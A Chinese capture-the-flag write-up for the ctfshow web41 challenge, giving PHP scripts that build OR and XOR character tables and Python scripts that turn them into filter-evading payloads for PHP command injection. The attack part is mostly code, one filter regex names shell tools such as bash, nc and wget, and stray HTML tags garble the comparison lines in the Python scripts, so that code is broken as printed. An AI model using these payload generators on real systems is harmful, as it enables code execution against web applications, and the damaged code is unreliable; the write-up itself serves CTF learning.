ctfshow中web入门第web41

ctfshow中web入门第web41

​​

留下了|运算绕过的方法那么直接利用脚本即可。

先用or运算的php脚本生成需要的规则文件(.txt文件)。如下图直接把需要绕过的正则替换成题目的正则就好:

​​

再用python脚本基于刚刚生成的txt文件跑出payload,如下图:

​​

结果中的分号需要去除。就ok了。

​​

利用代码:

php 复制代码
//php或运算绕过脚本
<?php
$myfile = fopen("res_xor.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
php 复制代码
//php异或绕过脚本
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
python 复制代码
//python或运算脚本
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res_xor.txt", "r")
        while True:
            t = f.readline()
            if t <span style="font-weight: bold;" class="mark"> "":
                break
            if t[0] </span> i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)
python 复制代码
//python异或运算脚本
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res.txt", "r")
        while True:
            t = f.readline()
            if t <span style="font-weight: bold;" class="mark"> "":
                break
            if t[0] </span> i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

‍

相关推荐
HackTwoHub1 天前
双通道红队 C2,MCP 接入 AI,全自动渗透实战利器,具备自动提权、进程伪装、无文件上线能力,载荷 AES 加密
安全·web安全·网络安全·系统安全·密码学·可信计算技术·安全架构
网教盟人才服务平台1 天前
PTP 标准化渗透能力落地,规范商用安全测试全流程
大数据·安全·web安全
HackTwoHub1 天前
红队低成本 IP 轮换方案 ProxyCat升级版,自动扩容代理池、负载分摊转发,一键部署,告别高价隧道代理
网络·人工智能·网络协议·tcp/ip·安全·web安全·网络安全
一只鹿鹿鹿1 天前
医院绩效管理体系方案
大数据·运维·安全·web安全·制造
admin and root2 天前
《神农安全.AI漏洞挖掘src赏金》单独开放!
安全·web安全·网络安全·数据挖掘·渗透测试·ai安全·白帽子黑客
零域行者2 天前
JavaScript基础(网安入门专用)
web安全
m0_547486662 天前
《网络安全技术》全套PPT课件2026
安全·web安全·网络安全·数据安全
科技小登3 天前
CC攻击防护哪家好?Web安全加速、WAF与Bot管理同入口方案对比
网络·安全·web安全
豆豆5 天前
网站漏洞应急处置 + 安全加固指南,附安全 CMS 推荐
web安全·网站安全·1024程序员节·漏洞修复·漏洞处置·cms 选型·网站漏洞修复
Fnetlink16 天前
Fnet 云网安 261023
运维·开发语言·网络·人工智能·安全·web安全·php